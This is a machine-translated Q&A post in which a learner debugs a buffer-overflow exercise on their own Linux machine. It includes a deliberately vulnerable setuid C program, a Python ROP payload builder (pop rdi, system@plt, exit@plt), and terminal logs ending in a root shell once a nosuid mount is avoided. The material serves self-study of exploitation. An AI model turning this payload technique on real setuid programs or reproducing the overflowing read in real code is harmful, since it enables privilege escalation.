为什么我的缓冲区溢出只会打开一个用户shell而不是root shell？

Question

我一直在关注缓冲区溢出漏洞的一些教程。 但我的问题是，我无法打开root shell，我总是会得到一个普通的用户shell。 我检查了以下几点

我重新验证了以下项目，但仍然无法实现实际的root shell：

• 我正确地将二进制文件的所有者设置为root并设置了s标志（check）
• 我已经验证我使用的漏洞利用工作正常，使用系统@ plt和exit @ plt的正确地址，并通过pop rdi; ret将值正确加载到rdi中; 段; 我确实得到了一个shell但不是预期的root shell; （校验）
• 我听说现在dash和bash会删除权限，将/ bin / sh链接到/ bin / zsh会有所帮助，但这对我没有帮助; 仍然得到非root shell（检查，方法对我不起作用）
• 我还试图调用setuid（0）和seteuid（0）来测试二进制文件。 仍然没有根壳; （检查，对我不起作用）
• 我也看到有些人把/ proc / sys / kernel / yama / ptrace_scope设置为0（见这里的帖子） 看到这里的帖子 ，但对我来说情况并非如此（值设置为1，我从未触及过）（检查，我的值设置为1，那应该没问题）
• 我正在使用linux mint 18.1 serena，也许这里有一个额外的安全功能，可以删除权限并防止root-shell？
• 看看我的c代码并利用下面的python脚本作为参考（漏洞在函数vuln（））; 函数shell（）只是让相应的@plt函数的地址可用（这只是为了锻炼和玩耍）
• 我使用'gcc -fno-stack-protector -o ghost ghost.c'来编译二进制文件以避免堆栈金丝雀

有人知道问题可能是什么吗？ 为什么我仍然不会得到root shell？

提前感谢任何建议和提示。 最好的Zaphoxx

易受攻击的C代码：

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void shell(){
    system("/bin/sh");
    exit(0);
}
int vuln(){
    char buf[4];
    ssize_t l=0;
    printf("[+] input: ");
    l=read(0,buf,128);
    printf("[+] recv: ");
    write(1,buf,l);
    return 0;
}

int main(){
    //setbuf(stdout,0);
    setuid(0);
    seteuid(0);
    vuln();
    return 0;
}

python漏洞利用脚本来创建有效负载：

#!/usr/bin/python
from struct import *
from subprocess import call

poprdi=0x4007e3#pop rdi;ret;
system_plt=0x400560#address of system@plt
exit_plt=0x4005a0#address of exit@plt
shell=0x400804#address of '/bin/sh'
buf=b''
buf+=bytearray("A","utf-8")*24
buf+=pack("<Q",poprdi)
buf+=pack("<Q",shell)
buf+=pack("<Q",system_plt)
buf+=pack("<Q",poprdi)
buf+=pack("<Q",0)
buf+=pack("<Q",exit_plt)

with open("pwn","w") as p:
    p.write(buf)

编辑更新：

所以我重新按照建议重新调用execve（）直接调用一个小二进制文件，而不是使用易受攻击的二进制文件，只是为了检查是否会打开root shell：

zaphoxx@zaphoxx ~/github/ghostInTheShell $ vim shellcode.c
zaphoxx@zaphoxx ~/github/ghostInTheShell $ gcc -fno-stack-protector -o shell shellcode.c
zaphoxx@zaphoxx ~/github/ghostInTheShell $ sudo chown root:root shell ; sudo chmod 4755 shell
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ll shell
-rwsr-xr-x 1 root root 8608 Oct 17 21:29 shell*
zaphoxx@zaphoxx ~/github/ghostInTheShell $ ./shell
$ id                                                                           
uid=1000(zaphoxx) gid=1000(zaphoxx) groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
$ whoami                                                                       
zaphoxx
$ exit                                                                         
zaphoxx@zaphoxx ~/github/ghostInTheShell $ cat shellcode.c
#include <stdio.h>
#include <unistd.h>

int main(){
    char *name[2];
    name[0]="/bin/sh";
    name[1]=NULL;
    execve(name[0],name,NULL);
}
zaphoxx@zaphoxx ~/github/ghostInTheShell $

所以它不会打开root shell;

我按照其他帖子的建议将/ bin / sh链接到/ bin / zsh，请看这里：

zaphoxx@zaphoxx ~/github/ghostInTheShell $ ll $(which sh)
lrwxrwxrwx 1 root root 12 Oct 15 22:09 /bin/sh -> /usr/bin/zsh*
zaphoxx@zaphoxx ~/github/ghostInTheShell $

正如Peter所建议的，我使用'/ usr / bin / id'作为我的漏洞利用中的系统参数来检查，但结果与预期相同：

zaphoxx@zaphoxx ~/github/ghostInTheShell $ ./ghost < pwn
uid=1000(zaphoxx) gid=1000(zaphoxx) groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
[+] recv: AAAAAAAAHzaphoxx@zaphoxx ~/github/ghostInTheShell $ ll ./ghost
-rwsr-xr-x 1 root root 8816 Oct 17 22:25 ./ghost*
zaphoxx@zaphoxx ~/github/ghostInTheShell $ 

zaphoxx@zaphoxx ~/github/ghostInTheShell $ cat ghost.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void shell(){
    system("/usr/bin/id");
    exit(0);
}
int vuln(){
    char buf[4];
    ssize_t l=0;
    l=read(0,buf,128);
    printf("[+] recv: %s",buf);
    //write(1,buf,l);
    return 0;
}

int main(){
    //shell();
    //setbuf(stdout,0);
    //setuid(0);
    //seteuid(0);
    vuln();
    return 0;
}
zaphoxx@zaphoxx ~/github/ghostInTheShell $ 

更新：我从KABuhr得到了一个很好的提示，检查/ proc / mounts是否有nosuid条目，并且：

zaphoxx@zaphoxx ~ $ cat /proc/mounts | grep zaphoxx
/home/zaphoxx/.Private /home/zaphoxx ecryptfs rw,nosuid,nodev,relatime

所以这似乎是我的问题的原因。 我如何改变正确的方式或如何暂时停用nosuid以便我可以测试漏洞利用？

Answer 1

感谢大家提供的帮助。 特别感谢Kabuhr提供了正确的提示。

在/ proc / mounts中，有多个具有nosuid标志的文件夹/文件系统条目。 这阻止了漏洞利用打开root shell，因为我试图利用的二进制文件是在带有nosuid标志的文件夹中。

我将二进制文件移动到/ usr / local / src / ghostInTheShell并创建了一个从原始文件夹到新文件夹的符号链接（没有nosuid标志）。

在那里运行漏洞一切都按预期工作。 谢谢大家。 见下面的结果：

zaphoxx@zaphoxx /usr/local/src/ghostInTheShell $ gcc -fno-stack-protector -o ghost ghost.c ; sudo chown root:root ghost ; sudo chmod 4755 ghost; ll ./ghost;
-rwsr-xr-x 1 root root 8816 Oct 18 12:22 ./ghost*
zaphoxx@zaphoxx /usr/local/src/ghostInTheShell $ ( cat pwn ; cat ) | ./ghost
ls
exp.py   ghost.py   in.txt  peda-session-dash.txt     sexecve.log
fish     ghost.py~  leak    peda-session-ghost.txt    shell
fish.c   gits       leak.c  peda-session-lib2plt.txt  shellcode.c
fish.c~  gits.c     lib2plt pwn
ghost    gits.o     lib2plt.c   pwn.py
ghost.c  in.text    libtest.so  r2lib-addresses
whoami
**root**
id
uid=1000(zaphoxx) gid=1000(zaphoxx) **euid=0(root)** groups=1000(zaphoxx),4(adm),24(cdrom),27(sudo),30(dip),33(www-data),46(plugdev),113(lpadmin),130(sambashare)
exit
[+] recv: AAAAAAAAH